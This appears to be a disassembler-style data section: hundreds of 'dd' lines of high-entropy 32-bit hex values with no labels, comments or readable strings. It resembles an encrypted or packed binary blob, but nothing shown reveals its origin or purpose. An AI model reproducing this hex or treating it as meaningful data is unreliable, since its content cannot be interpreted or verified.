dd 0F2A6F3D8h, 0EA1409C4h, 0A9239044h, 28C103C7h, 0DE2A0108h
dd 0C09E0EFCh, 825AC90Fh, 4618A6C4h, 0B30C7629h, 11DB0460h
dd 9138B4EAh, 332D136Bh, 37347D28h, 8583DADBh, 0AA6DCEDAh
dd 0B8D1800Bh, 1DC8FF3Ch, 281E0F7h, 0FE1BEAB6h, 8D040F6Ah
dd 0C2811FDDh, 67C92911h, 39580F25h, 7AF924EAh, 9254673Eh
dd 0A0A33263h, 292903C2h, 5A0EBD52h, 80CD7490h, 0C9BF1067h
dd 3E623669h, 0E1E61E49h, 0C0646D91h, 24F9248Ch, 6AF92E60h
dd 1DEA8B98h, 0E262902Ah, 32059BC8h, 2AAFDA0Bh, 3004D4Ah
dd 8A57280Bh, 585E00E9h, 756582C0h, 0E076F806h, 7449C800h
dd 0F0C24203h, 0EBBAA109h, 5D2AC523h, 56918B9h, 625A6F6Fh
dd 1E193680h, 8C4FF45Dh, 0DACB52DEh, 0B5ABE3EEh, 0C489B2D1h
dd 0C1145AD0h, 28C605E8h, 41EBB4Ah, 0EA1DFA01h, 38055C56h
dd 0E80667A4h, 0AC3EF3CEh, 69BEC2ACh, 9899378Ch, 11D8B4EAh
dd 3120DD19h, 5A24E663h, 8252C209h, 352A9A40h, 5C093412h
dd 3F073610h, 0E8B2D154h, 612C260Fh, 3E3E2159h, 0EA4E0577h
dd 0BC283FCBh, 51531867h, 358E5EB1h, 695B4CC1h, 43513F2Eh
dd 8E57B5EAh, 9FC2FEFh, 2EF6233Ch, 29E1917Bh, 9A9769E8h
dd 2C8448B7h, 4B542953h, 2BEB154h, 55BC7FE2h, 0CC240FC1h
dd 3098AC45h, 0C1A1116Eh, 617A6327h, 4EC4DF73h, 0E4001214h
dd 0E9575239h, 0B9805027h, 8BE50388h, 0C4832404h, 0C8C5B0A7h
dd 0EDEAD528h, 0E8E05AEAh, 0ED665928h, 0B0506E00h, 58C2080Ah
dd 4DF20780h, 8EFEDAF6h, 2CA0EAE1h, 43D0C168h, 627004EFh
dd 241C890Fh, 0D5CBEB3h, 812CD80Eh, 148B665Bh, 59FCE0F6h
dd 19C15181h, 91020C90h, 0DEE90C25h, 76C71762h, 12D51FD9h
dd 24AF1D5Bh, 0E6898F81h, 871AC6EAh, 11FFF18Ch, 0C524D25Ch
dd 2328E89Ch, 0FB011EC3h, 5BDE995Fh, 1B03FC31h, 56120729h
dd 0B12474FFh, 9B26D7E9h, 0C1448B1Ah, 10A63829h, 0DFEF1E26h
dd 5452042Ch, 4576845Ah, 4D82203Fh, 0ECCE834Dh, 94DEF094h
dd 0F7D768B7h, 76DDAAA3h, 0E26935A9h, 0D500010Ch, 0EC395256h
dd 85CA6D75h, 6841D91Ch, 0B4547CAFh, 0CCB4E400h, 0A058E228h
dd 0E45A66C4h, 550D0668h
dd 56DCACE9h, 5EF70107h, 7230CF81h, 26C160D2h, 32008EFh
dd 1B1133A9h, 2E9FEEF8h, 0E91C0106h, 98644347h, 335200B9h
dd 0F181320Eh, 1D3B3E4Eh, 0D0C90065h, 0E9355D55h, 0FD4DE9C6h
dd 102ADA98h, 3B0F63B9h, 6AC1782Bh, 4602B905h, 0C02C7B61h
dd 2C22542Dh, 303C21h, 4EDF5E76h, 0CBFCD3F7h, 0F155BE0Bh
dd 283B0046h, 5690531h, 0D5E9D909h, 89B15D8Eh, 102088E3h
dd 0B069B7C3h, 0F4F3EFA1h, 1AC99350h, 68782166h, 0A7A04120h
dd 18E5E6DEh, 4164ADE9h, 144C7CCDh, 0C50776EAh, 39212F4Ah
dd 1ED4E5C0h, 0F518C09Dh, 3AF22B7Ah, 0E9E88905h, 0FC4033C4h
dd 2434FFF8h, 0A490B05Bh, 89571207h, 95E10E7h, 0C3EF831Fh
dd 5C243C87h, 9A1414FBh, 0C1E97223h, 0C28881B0h, 0FDE9B984h
dd 0E01E91EBh, 9447EA05h, 4BDD08h, 3026EE80h, 0F60E5AF3h
dd 23B551DBh, 55E785E9h, 33442244h, 0D2091E12h, 0B974845Fh
dd 460C289h, 7E0C628Bh, 9E285h, 4B8C3E1h, 26167C91h, 8129716Bh
dd 0C1805BF9h, 760680F5h, 0B6525066h, 53E924B2h, 2072A887h
dd 3366FD1Ah, 0DF06315Ah, 0CDEE0Dh, 3BCB15F8h, 946851E9h
dd 84A2AA36h, 7ABBF780h, 65D85F81h, 590CCA48h, 53E14C13h
dd 11B3E910h, 3CA8583Eh, 0CF873F0Dh, 375DC012h, 0D36D8405h
dd 4D56548Fh, 8A0690EFh, 5C1ADE87h, 0D1A8859h, 0A524CC34h
dd 3B7F6BC3h, 31125D0Ah, 903544Dh, 43375726h, 0BE248F5Fh
dd 0A13945Ch, 30F1B55h, 0AD685A53h, 0A0B36336h, 82C8152h
dd 7E12DA28h, 7F6EE0Ah, 8215E913h, 0D4CE0F07h, 0E8A72551h
dd 4F59BE00h, 1885F781h, 0C37241Ah, 7F06055Ah, 74D2E91Bh
dd 42C70038h, 0DA63F630h, 0B8775022h, 0D001D1C0h, 54A1E952h
dd 813C8306h, 20693166h, 0EDACE3Dh, 0E0589BDh, 7ED56CBFh
dd 68553E53h, 4847208Bh, 51CA00F5h, 15E4EA04h, 0B31F17E9h
dd 0EE1F102h, 3442036Ch, 0AED1A027h, 49738FE5h, 8BAFDA84h
dd 34318645h, 9491FABh, 16C94A4Bh, 42C3275Fh, 6D95615h
dd 0E2D1C209h, 5A8D20E4h, 2BF2A590h, 0F4DD80A9h, 0C992FCFAh
dd 0B0362290h, 509533h, 0A32116BFh, 51EF810Eh, 54121714h
dd 6AE004B4h, 0C4C06CE8h, 61F10C5Ch, 6F79183Bh, 0CDD331F9h
dd 408C665Fh, 6ACFFEA9h, 0D7F7A35Eh, 5BC3C487h, 291612EAh
dd 627C50C3h, 6E3C181h, 0DB09A84Bh, 0F149DE09h, 624D0017h
dd 10F55868h, 246AA5E9h, 0ED6070B8h, 1E95345Ch, 39C5017Fh
dd 341C0851h, 63EAFF83h, 0BA8F40C2h, 0F5D4545Bh, 79ED1668h
dd 0EA5F25E7h, 0A9307C13h, 0F6C8AF0Fh, 5D764C22h, 2010EC94h
dd 34680A0Ah, 12A4AC3Ch, 6B67B902h, 90E889D1h, 0D652EFABh
dd 0BADA00B9h, 0EA019322h, 25A5D48h, 1EFB77D0h, 9B74C057h
dd 0BEB05960h, 0F8295E05h, 0A088005Fh, 8155922Bh, 0D725EA0Eh
dd 0D031C036h, 0BB1ECEE9h, 7C6D0C01h, 1F90E8F9h, 73E233E5h
dd 7CA1E24Ch, 17CA0188h, 5180E959h, 28879C23h, 845267D8h
dd 62CE834Bh, 0FBAA59CEh, 4D1A970Bh, 7D10238Bh, 0E914DF01h
dd 7DB2FB76h, 597482C1h, 9EF03093h, 0C633C567h, 0EE1F0001h
dd 76183B52h, 4D47A0C1h, 9AF333C9h, 204A6193h, 0B11996C8h
dd 0C4B62096h, 30D5396h, 998CEB80h, 69CB4C3h, 0E90D3B95h
dd 86F23Fh, 0C95E1CAEh, 4E6E7E60h, 24442B53h, 94C0D6E9h
dd 0F717C931h, 652C09D2h, 76AED9Bh, 0E9E12D74h, 3247960h
dd 7D014CEBh, 3B9926D2h, 9C69D2A1h, 1944E3E9h, 79811E73h
dd 0EDC868FEh, 0DA99A029h, 6C682EEh, 0A26CD52Eh, 9DE95461h
dd 5C5A8253h, 95940CD2h, 1F1C4810h, 47CA052Dh, 8F1EEE0Ah
dd 35379820h, 518740h, 6510BA07h, 3129129Eh, 94085854h
dd 77033C32h, 58669D1Ch, 86481193h, 0D2BB1095h, 0F7018E48h
dd 77DE1BC1h, 50F83457h, 13A2302h, 530E95E9h, 32F8B50Dh
dd 686EB1Bh, 31492433h, 711F10C3h, 188B213h, 3057B0D0h
dd 418AA9C2h, 0B17DC820h, 7E1C01Ch, 0EEECE9DEh, 6C245E1Ch
dd 9C49EF28h, 0FF337E8Fh, 485C0B75h, 0A492EBFh, 14811950h
dd 82C0B60Fh, 5819873Fh, 9F4427F2h, 3B0BB31h, 75BDA01h
dd 2C2FBD55h, 0CC0329B9h, 278763A7h, 0C2086B29h, 15D0108h
dd 74875AD1h, 0F91FF723h, 68055455h, 0C93460AFh, 17C2EA00h
dd 2463523h, 19CDBB53h, 93622EC9h, 6BEB9E00h, 0C4125D77h
dd 0F708DE29h, 0DE5C154Ah, 0C825583Dh, 0E3D12A02h, 7AC111C0h
dd 0C4330181h, 24B9878Ah, 0F168841Fh, 63E90249h, 0A8274846h
dd 17AD0930h, 0CF01E801h, 80B14229h, 6DEFC18Eh, 60F77E5Ch
dd 216310D9h, 838A453Ah, 0CD806F25h, 97D7482h, 2516BF82h
dd 0D1912E14h, 0B53164FEh, 21118B5Fh, 9C91A9F8h, 1154A384h
dd 100745BEh, 831F4339h, 269AF4C1h, 5F0496DEh, 1820C70h
dd 9848EEC1h, 0E2A39005h, 377C2702h, 49F3F12Ah, 0B7CB07DEh
dd 46A09296h, 28F08CA4h, 805C148Bh, 804C22C0h, 5D73EF89h
dd 4EAFA4Dh, 27A11745h, 0F2813AC0h, 4F570216h, 507AE922h
dd 534E756Ch, 0D60A5D64h, 283DE583h, 0BA01CA5Bh, 0F77F9939h
dd 8821C1D1h, 0DD84F482h, 1C40CC9Ch, 0D095E3Ah, 8CB0120h
dd 633108C2h, 61833EE9h, 0C725DAB9h, 5CB04CFEh, 0C0707F58h
dd 175A6850h, 2C327E70h, 93AAD36Ch, 0F4F0451h, 0F3BA003Fh
dd 3D056765h, 5E09E281h, 0D7840CB2h, 830985h, 0C1D0F7B4h
dd 750348E8h, 7FE2B001h, 31D8319Dh, 652BACCBh, 0A991B528h
dd 728F5D0Eh, 56AA5831h, 55786B73h, 16549280h, 5EDFBC2h
dd 50EE005Bh, 5ADCACFh, 0AC3E8913h, 2DD05305h, 0AB040712h
dd 0C4D4F0E9h, 3EDAC01h, 31ED058Fh, 0A64CC22Ch, 0C05A5484h
dd 0F61DCD01h, 2CC12833h, 6B3CC081h, 0C2A6038h, 0AB42DCBh
dd 0E5C1450Bh, 25E8B08h, 0E2BEEFCBh, 5DDBA402h, 848C6B99h
dd 216F1DD9h, 57CFF967h, 8C4903C5h, 0ECE70859h, 496B8401h
dd 0E5255875h, 82730960h, 70CDC902h, 8881B500h, 685924E8h
dd 84932528h, 0FAE9C7DBh, 550E345Bh, 13BBE5F8h, 1352CD92h
dd 6809238Ah, 5364343Ah, 5C00D485h, 0E9C9CA80h, 8F39C78h
dd 0EA01F289h, 48433B77h, 21120C81h, 214A09C9h, 0E9DAC887h
dd 0F413DC4Ah, 56B2C064h, 0FAC4D4A6h, 87B4144Dh, 394F13C7h
dd 6EDC1A3Ch, 0DE0C080Ch, 58141E71h, 245F525Bh, 84C9335Ah
dd 1ED2D01Eh, 0A89C66EFh, 0BB021A31h, 0BEAC308Ch, 5C137837h
dd 0FCC0D11Fh, 5470F94h, 8BF329C1h, 0D0A62434h, 229AE97Bh
dd 855E46CBh, 9B8A7E5Ah, 579D611Fh, 0E20821F4h, 0CB9B2057h
dd 2EFA011Fh, 19402392h, 0E468C831h, 0B02CB119h, 8EA8E930h
dd 543EDAA8h, 1AA50191h, 153282E4h, 64AC076Bh, 0BA77D34Ah
dd 0E5F5F770h, 0CF0C244Fh, 2959CEA9h, 28CF90B9h, 316D9033h
dd 71600D06h, 0E86880F6h, 4B7A2C1Eh, 0B8824193h, 90E2925Bh
dd 5DD3661Dh, 8210390Ch, 0DF5F2ECEh, 4705E03h, 2E38E155h
dd 8DFDCB98h, 2180835Fh, 5D13C8E8h, 0FC00B80h, 0B93F2F84h
dd 0E925B06Fh, 0EBC23AE4h, 40E871B5h, 7E03EAD9h, 0D9D7E451h
dd 0E007127Eh, 77C90988h, 0C62D80DEh, 7E7821A6h, 0E307341Ch
dd 602F252Ch, 66B7689Fh, 0E3E6BFA6h, 5085558h, 23374975h
dd 322703C0h, 0A0EB0AFh, 9224E9D6h, 2218BDDh, 14810219h
dd 698CD21h, 3ED95C29h, 492C29F3h, 6E952EF6h, 5948E1A0h
dd 42DA8965h, 22DF71D9h, 4A681205h, 68468979h, 4C5A8441h
dd 17DF0215h
dd 1204989h, 0B60CF80Bh, 0F33B81BBh, 185D16B1h, 0B3EBA380h
dd 0EC7748C9h, 14DEF12h, 0DF01153Fh, 9A386055h, 1D317800h
dd 17590558h, 2D6C1E2Ah, 51BDBB73h, 3EBCA0Fh, 0E9C58961h
dd 453268F7h, 67C631B7h, 0FA71501Ah, 31EAD964h, 626CADF0h
dd 50E7DD3Eh, 10F3571h, 206EE5C7h, 6BD78D90h, 31691FA1h
dd 4A2709CEh, 343C9349h, 544D579Fh, 31552DD7h, 479D527Eh
dd 792C8B45h, 31482612h, 4882DC21h, 0C0B5F8Dh, 0CA2935E5h
dd 6681413Ah, 0FB93BE57h, 152E4CCCh, 365B0D13h, 0DC93EA17h
dd 8721ED64h, 960C382Ch, 57D0C14Ch, 0D55A0BBDh, 510F2E01h
dd 87600B89h, 17EEC331h, 0DE41584Ah, 1CBB3085h, 5C093E62h
dd 0CC06C80Fh, 0FE076B14h, 5AB753C1h, 4CDA13A3h, 82059B60h
dd 0C719B22Dh, 1504D2F4h, 838F4073h, 0E95998EBh, 3CF4678Ch
dd 0A1596558h, 1564D21Ch, 0B5B65203h, 151CEFEh, 0D7F6AC6Eh
dd 0D54EEF80h, 5CE7D4DFh, 14C7FE34h, 0F5F4EA06h, 5B592C50h
dd 0ACBBCF76h, 0D0880A1Dh, 58C32841h, 87CBEB80h, 0E904B96Eh
dd 0A39158F2h, 0D0218417h, 6B72C281h, 685A5804h, 0F78D35A0h
dd 4153CA48h, 5DA738CEh, 5277C1Dh, 0D892054h, 0C85B5A45h
dd 0F053420h, 8294C8B6h, 74A1FF80h, 43192488h, 35A72AA5h
dd 817A6F3h, 57095BA1h, 964FC446h, 5651421Ch, 8706DA58h
dd 591A7610h, 62ED00D2h, 0D12D4398h, 4E007B5Dh, 0D07E0C1h
dd 1FCA7D03h, 0C0D8F741h, 15BEF076h, 2D96C131h, 0B8C88950h
dd 0E396B47h, 83270C6Ch, 0E94F90C0h, 9A2C55DBh, 0BA320070h
dd 0C6013DDCh, 6A268F4Ch, 12E12BDh, 89224190h, 577DE149h
dd 7EC1B0A4h, 1460FB30h, 0FAA87CC2h, 38297C58h, 0B8C843E9h
dd 0BD247C94h, 64610AB5h, 7F300FEh, 0C8297B47h, 3E4F5948h
dd 427897F7h, 74F9E101h, 0F0704DC1h, 0CBE3B804h, 9A0AE88h
dd 0C586EC30h, 0FB68660Eh, 0AB209711h, 0E8D3F6C3h, 0E563FDD8h
dd 0C530020Eh, 0F408E84Dh, 0EB728853h, 0DC78E574h, 517A43B8h
dd 0CA09E17Ch, 8F648A59h, 0D185F3B4h, 0B0FCA40Fh, 56D03113h
dd 60961D70h, 4DCE8102h, 7866320Eh, 0E62170B1h, 71E9EC29h
dd 66C192E1h, 0D65D38F7h, 50D054Ch, 0D1A687D5h, 6BE94DA0h
dd 88B67C9h, 612FA32h, 64E04F41h, 0CE14931Bh, 5BDAC21Ch
dd 95A37434h, 2ED62910h, 9449AF34h, 0B5B28h, 19ABA26h
dd 8FF46E27h, 0CCEA6F4Ch, 0DD313233h, 69D4AE06h, 59399CCAh
dd 90DE4483h, 41B5E97Ah, 6F048DD2h, 61163994h, 3C5053F9h
dd 0A1B5C033h, 28F6C5FEh, 1C99C0D5h, 0E87DCD80h, 0EC8803E2h
dd 5CB25259h, 0FCF3C2E1h, 46B030C4h, 40FE6041h, 7A8743CEh
dd 32D77DFBh, 0F09D0BDFh, 561C1360h, 508BD8B9h, 7FD983B4h
dd 0ECC11682h, 22003102h, 0FF18A108h, 9CCDFA17h, 1D9E1E20h
dd 81223218h, 0B77A5FF6h, 0C3082014h, 77C80219h, 0BFD81818h
dd 0F3012CF2h, 45DE0DD1h, 4C1A3656h, 58B41631h, 0A230C1D9h
dd 0C186B48h, 76D9F433h, 2C202B72h, 0B92AF168h, 302A41Bh
dd 765FE953h, 6EE11725h, 975199B1h, 3D7C9D0Ch, 4BEC88C5h
dd 84F17392h, 0DEFE9E1h, 6685946Ch, 5467A429h, 0EC81C940h
dd 1D2B0DE0h, 0FD815E0Eh, 59C93484h, 598042Ch, 0FECB971Eh
dd 0F659147Ch, 0C0E3AA56h, 0F013ADE1h, 5E517C67h, 1120244h
dd 0C0E159CBh, 0C410A90Fh, 98EAD3Ch, 988FE632h, 0B156575h
dd 0EB520302h, 44823445h, 40E50170h, 0D9215808h, 70795B4Ch
dd 0A1A77794h, 36E468A5h, 0C9EE538h, 0E25F6AD2h, 86FD4852h
dd 71C85558h, 0A0C49050h, 4C7AA9E3h, 0E350F875h, 7ED725E9h
dd 0ECC65F66h, 7AAE423h, 0F580EDD0h, 15AF3EECh, 2E1690A6h
dd 8B30AC26h, 0C8B521Eh, 5852EBF6h, 0E8003062h, 0DFE28111h
dd 3E7A8431h, 329C51F6h, 5594BD40h, 0D00F4CF0h, 631F6800h
dd 66A1E927h, 40822DBCh, 28B61Ch, 5B564B16h, 9BF18925h
dd 0FB1C01BEh, 2926DD46h, 838A0CEh, 5401594Eh, 32FFFA01h
dd 9705B528h, 0A573A121h, 2DFF18B6h, 0E8820FA2h, 92085069h
dd 0D898B322h, 8013A61Fh, 5BD82947h, 8E05D032h, 24B6A10Ah
dd 5F915154h, 57C09E5Ah, 0C2778CBFh, 3B4CC135h, 204CFF7Ch
dd 2189801h, 770C4059h, 1E0C2027h, 0EB45B0B6h, 0B7E30640h
dd 0B835A464h, 2236EA17h, 0ABAE655Ch, 6ADDB788h, 0FA035324h
dd 19490910h, 0B0C38312h, 5FC3C663h, 0C118E8C1h, 0C240506h
dd 0B09B77B9h, 7E09F646h, 24C8253Fh, 0FE958F68h, 89820994h
dd 607B9B50h, 0B7AAFDCh, 6CE942EDh, 0A162F2Ah, 0A2A523D9h
dd 28DC13C7h, 18461DA7h, 0DA2126CDh, 0ED305B78h, 91C3ED49h
dd 3DDD2935h, 256804DAh, 16E9077Dh, 0B35D0ACCh, 87A2417h
dd 662543A5h, 69EAF600h, 326B68DFh, 0B99C29CBh, 83DCD102h
dd 2718BE68h, 49A0BD6Fh, 0FE7CB4C7h, 0EFC13E0Fh, 0E4E72007h
dd 1B4E2864h, 3358FBE9h, 7042C7EBh, 5402429h, 806B1703h
dd 93EFE826h, 9D6AB02Eh, 0EE0DC860h, 5585566h, 200A066Ah
dd 0E4F0C26h, 0E6D31C09h, 902D50E5h, 62A0EDC5h, 692269Bh
dd 0EFD36D91h, 4E6D8BAh, 78479A97h, 0F812C0CEh, 4B698F44h
dd 0C11674B0h, 0A02402EBh, 0E9B90C90h, 3CC33A5Dh, 9D34D32Ch
dd 7D486766h, 0ADAAC692h, 41970340h, 919AB06h, 44325AD5h
dd 0B6240F4Eh, 2A12ABCCh, 0C1139CF6h, 73AB9936h, 0B66809ECh
dd 8080593Fh, 15361E23h, 0F731CF87h, 0E7C108D1h, 40DD6924h
dd 0E8582803h, 3762291Eh, 38AA903Ch, 19C98101h, 6060D315h
dd 5081D625h, 5E86FE2Dh, 0E1777D43h, 40BA68F0h, 0C0007F96h
dd 5A4FDF44h, 632ECB8Fh, 0D5F70622h, 7058CDE0h, 7746C026h
dd 68144A06h, 10AF24A2h, 5B87443Dh, 2B12F218h, 0D95BA925h
dd 0E90D896Dh, 0B49123B8h, 0A277BA88h, 0F1D028BFh, 97FFBE5Fh
dd 66ACAC80h, 1F74FA68h, 0B48005BCh, 61EC8028h, 3C05E6C0h
dd 0F404DCF6h, 8BE1884Ch, 81C03D86h, 0A2C18008h, 153A83E9h
dd 0E9A09D18h, 89805497h, 15805C5h, 0C82C8BE8h, 795BE9F0h
dd 35CA3D13h, 21215C16h, 5C565EFh, 71684543h, 39611020h
dd 0D1F60156h, 0F388CE86h, 66FA3720h, 355C32DEh, 45D243F2h
dd 4AB51301h, 953223FBh, 59E65BCBh, 54135371h, 0B6C07EE9h
dd 0B902B768h, 0F6A6BE57h, 0F104899Bh, 4B2C3407h, 9F29C12Bh
dd 73FA404h, 8B75C29h, 1DD02F95h, 0B8F5215Ah, 18BA20DBh
dd 0FE540097h, 0F848C345h, 5003FFCFh, 3B2E89B1h, 78349441h
dd 7A206C25h, 0D683FD83h, 0FB2D29F1h, 5D070C86h, 51989A9Dh
dd 461D0DCh, 0E9586609h, 0D8B4D6EEh, 79422E34h, 8C90DAC4h
dd 0B09DCA81h, 23776CCh, 219EA6EAh, 9271E9CDh, 9005D716h
dd 329846A4h, 0B8411387h, 4568002Bh, 29026C3Ah, 164170EDh
dd 0B9E51D28h, 0FEBE61Fh, 0D6F750C3h, 0AA03C3C1h, 15DDC0DEh
dd 16363B73h, 0E168F607h, 29F0995Ah, 56EE919h, 0B176E36Fh
dd 9694614Ch, 49C05CA2h, 400926B2h, 0A1F7E97Bh, 250F6882h
dd 2B543A9Ah, 0E4B6C3F2h, 8C7865Ah, 61FDA20Dh, 0D23D55h
dd 0AC3A14BBh, 0DBF7451Fh, 31C46116h, 3351A705h, 0CB09F252h
dd 4C20E646h, 0AD3FFF50h, 13774E13h, 47EC23E9h, 6BF7808Fh
dd 6490E22Bh, 59814877h, 4598202Ch, 2690F5B0h, 0AB25494Bh
dd 4E7E60B3h, 0BD4CC086h, 0AF26664Ch, 69033F36h, 0B0304233h
dd 485F4AF5h, 932E4A31h, 0A6BF81E2h, 0E968BE6Dh, 83853411h
dd 0BB87F48h, 2073840Fh
dd 685752F7h, 0ECD5E6DDh, 4B6DC5Fh, 0A84C616Fh, 0D0E9098Fh
dd 5CB9B312h, 1E5F49Fh, 0A7015F12h, 0CF052118h, 80F485A5h
dd 0FF1975F0h, 51538016h, 14ECA808h, 2802A3ADh, 1615541h
dd 0CAC286C2h, 1517FB00h, 0F6907E09h, 0E832B979h, 7C010C52h
dd 0A8725269h, 32398501h, 0FFF53141h, 666E5E02h, 39856F4Eh
dd 0DDA43524h, 8D584AFCh, 75A3E4F5h, 5C47489Ch, 8653FD95h
dd 0C84F20F3h, 2BD45E02h, 7F804ACFh, 0F67D9605h, 0D62D076Dh
dd 0F462E329h, 0BFF2D012h, 0D00A60CEh, 0BEDFF772h, 0E27C8602h
dd 594D7079h, 754B2C4Dh, 488CA6A2h, 22425AC9h, 46668FE9h
dd 0F7292925h, 0A0173F83h, 504CD25Ah, 8881FD70h, 955307CDh
dd 440A5FC2h, 59794EE9h, 870575Eh, 31652C63h, 0E51008B1h
dd 180602Ch, 5B5D05F0h, 905E7181h, 0DED0207Bh, 343CBB0Fh
dd 6D90D2B4h, 980872EBh, 0FB290521h, 0B23733E9h, 22674E86h
dd 485982F2h, 20132681h, 20024DCFh, 0E9364856h, 5001EA4Ch
dd 64505A29h, 4B4FC470h, 45E65CF9h, 0DD4D6CF8h, 0A4F50296h
dd 607A3602h, 261BFA7Bh, 0CF961F58h, 0DF11072h, 42CB3E65h
dd 66E8888Fh, 0B60F81D6h, 0A29BAB7Eh, 40C90B32h, 991430B7h
dd 20F51E43h, 7587BB0Eh, 0DF965E5Eh, 9AB06A40h, 7F61234h
dd 28842CD0h, 8313F3C3h, 0E9D3301h, 0D831578Bh, 2DFAC7ACh
dd 25E3A38Dh, 0A12E302Bh, 951B4528h, 634CF104h, 5BD464Ah
dd 16657600h, 5E1C12Fh, 2B4122DCh, 5B51D56Bh, 0C2805479h
dd 5A33326Ch, 0E9DA010Bh, 918050A6h, 0A0EB6BDEh, 11D34ADAh
dd 7074E962h, 34590B84h, 5B800C63h, 0B15107E0h, 0C8302602h
dd 0E6F80AE9h, 2A22904Ah, 5AE87C43h, 0CC141640h, 0A2AAB316h
dd 52206958h, 2EDF4150h, 180D2E0Fh, 82C1212Dh, 0FC3C9C84h
dd 0B70F80CAh, 679868C8h, 0C87D2B10h, 15570500h, 0F6564B08h
dd 4FF4B2CCh, 21806D66h, 4EDC3C17h, 70F47F62h, 726818CBh
dd 44C1154Eh, 0E3E8629Eh, 0A13C720Fh, 57F98765h, 5F3E513Ch
dd 0C46739D3h, 0E1D1C259h, 0F20E26E2h, 0CA8878A2h, 46252C54h
dd 7D574CD3h, 5CE3E7D2h, 0A5A4D450h, 0FAD502A8h, 4AF4B240h
dd 0FFF6323h, 8E8537CDh, 0D432396Bh, 4CC66856h, 0E9590A8Ah
dd 8182190Eh, 0C61057EAh, 0F69D460Bh, 0CC1427Fh, 4B5E41BEh
dd 543EC020h, 78FAEFC0h, 42962755h, 5C58A344h, 0ABC84F46h
dd 2EBAE504h, 8A2CC903h, 86DDD828h, 0C206757Bh, 1C60260Fh
dd 5B410980h, 360966F7h, 0BA396229h, 53402C6h, 7D840653h
dd 0F7074B56h, 0F88F404Dh, 7B0DDB5h, 1A5E5954h, 680C838Dh
dd 6E9C4BEh, 5F7C4FA1h, 5678C9Eh, 3207C557h, 29257258h
dd 0B343AECFh, 0BE158EF3h, 4A65D9C8h, 7B6E974h, 1EA80A5h
dd 0CB3FC237h, 0BE3E25BBh, 53DDA98h, 0E9765368h, 0B3C9B087h
dd 2065A54Ch, 0FC1D9046h, 0B650588Ah, 4C3FE3D3h, 7AA49532h
dd 9C6F04Dh, 326632E9h, 52FCDC10h, 6D155F41h, 45D51BCEh
dd 60DDAA06h, 348695CCh, 0DF6D20Fh, 0E3A161FBh, 0CDDA5EF3h
dd 4FAE8E80h, 0E9346958h, 4CE0A51Ch, 525C0BDAh, 5DB20132h
dd 6B4E4349h, 4CA21F12h, 52E7899Fh, 0ADBE5345h, 0C08000FBh
dd 9FE07ECh, 0AEC480CCh, 0BF0EE82h, 0AA035D05h, 1127037Eh
dd 422C2218h, 0D3464C33h, 83D84931h, 14D6986Dh, 0EAC3BC85h
dd 0B236335Dh, 4D0D0631h, 5803035Ch, 0DA0685Fh, 0CBADAF14h
dd 2355EF7h, 3C51E400h, 80317CD7h, 204E4789h, 6CBF5C21h
dd 2EB3AD03h, 0BB057D2Eh, 0BC7C144h, 3B562CD3h, 4698F095h
dd 5DEF0F43h, 673C173h, 0A907E72Ch, 0C94C8B0Eh, 0E68B403Ch
dd 89C91651h, 4CB5E3F9h, 9E023047h, 60087DA5h, 77402E18h
dd 0A9A01938h, 4E161A28h, 0C9A0313Bh, 7FE927F9h, 0FB4FCC8Fh
dd 4308DF8Ch, 68412EE3h, 78262D04h, 0B88A0C81h, 68894B4Ch
dd 68CB164Eh, 80C2D3E3h, 0C1C3F0C3h, 66A9EBABh, 797CC968h
dd 0F0B433FDh, 0AE32E5E3h, 95C7E02h, 81E125E9h, 0C6013E01h
dd 45E56550h, 171E0C82h, 135C736Fh, 2DC4152h, 8897BA79h
dd 0BD59C635h, 7EED0227h, 54B5BA46h, 0D3890111h, 23EB295Ah
dd 69161125h, 2B14426h, 78E33F0Fh, 20998C70h, 84E67B69h
dd 0D0E86DE9h, 2E68527Dh, 14992200h, 3E2C15Ah, 4AD226F7h
dd 305800E6h, 0C98102A1h, 737E1109h, 9618A23Fh, 26B553DDh
dd 0E1898000h, 78C2BB53h, 0B16BCD24h, 0A04C7303h, 7BCBB074h
dd 36762533h, 884A368h, 0A7098028h, 0A9CDDC83h, 1CEA767Ah
dd 9036B1CAh, 0C568AC82h, 3FB0F107h, 5E80732Dh, 626431BBh
dd 40214927h, 7012F618h, 0CE485140h, 1043A79h, 0BCB9E9F1h
dd 634768D7h, 4D125626h, 0C05EAAC2h, 75DD20Ch, 943523F3h
dd 51A907Fh, 5C24DDBEh, 4E128DC6h, 3A4C0660h, 5B4F2608h
dd 0AF2FA148h, 84E9AC18h, 0CBE0EB48h, 0B82C8952h, 7358C245h
dd 5D22F383h, 0C57BE917h, 0A418BC22h, 0F4E317D4h, 557CE0D6h
dd 7ED9EBA3h, 5DD7426Dh, 0FEE9CC69h, 8158DCE8h, 299AF10Eh
dd 0CA090075h, 0C4EA8759h, 87CC927h, 3BB0055Bh, 1566828Ah
dd 0C383105Ch, 0BDCF5E7Fh, 65203882h, 0EE010973h, 0E913E0E6h
dd 9CA3FC3Dh, 683C054Fh, 5AFEB8D7h, 43182DDh, 68026628h
dd 13E3A76h, 0A3CA4176h, 0BA49841Fh, 48BD583Dh, 304BA2E9h
dd 0B6767C26h, 0F3310F11h, 0DAC88B3Eh, 580654A4h, 10BB680Bh
dd 0E8016F66h, 0E9388A4Bh, 3587398Eh, 1B1FF6C6h, 3C630BAFh
dd 0F87E4790h, 0C0846E5h, 88241482h, 0B7D4A951h, 8DE59F9h
dd 5912C310h, 2C7D7AE6h, 94405F5Eh, 0D925C0F7h, 0CA40E7E8h
dd 42E69AA8h, 4FFD96h, 8E91045h, 0E8292B5Dh, 438A96CEh
dd 0EF015EDFh, 361062C1h, 11680AA5h, 6193CB3Eh, 7E851B1h
dd 38DDAC7Eh, 73807015h, 17CBBA52h, 46B0267Bh, 5DF0A74Dh
dd 4C5D6C27h, 1F1A88Ah, 932B0DFh, 4FE218F5h, 0E93A5FF2h
dd 309255B1h, 3930122Dh, 59D70C27h, 0E9370BD6h, 1AE42221h
dd 0F96A5B51h, 745DAEBCh, 9320AC21h, 0EF1B96Bh, 78C8E92Dh
dd 0BC8C863Fh, 5D3CC23Ah, 0E0872A46h, 0B4B7E912h, 0A5C5414Fh
dd 306C6263h, 11172B96h, 0F5807309h, 35E9EDD1h, 0CC7CF1A2h
dd 94B7C8A8h, 51C2948Fh, 83455C5Ch, 5BB6F682h, 168911Ch
dd 0A46ACE27h, 0D0E912A8h, 688BCC28h, 530574Bh, 0B51C41E9h
dd 0F9850998h, 0B8FA6082h, 698C017Eh, 95485B2Dh, 5BE4274h
dd 0BE80789h, 2292E568h, 2E418081h, 52F97125h, 0E95FFE80h
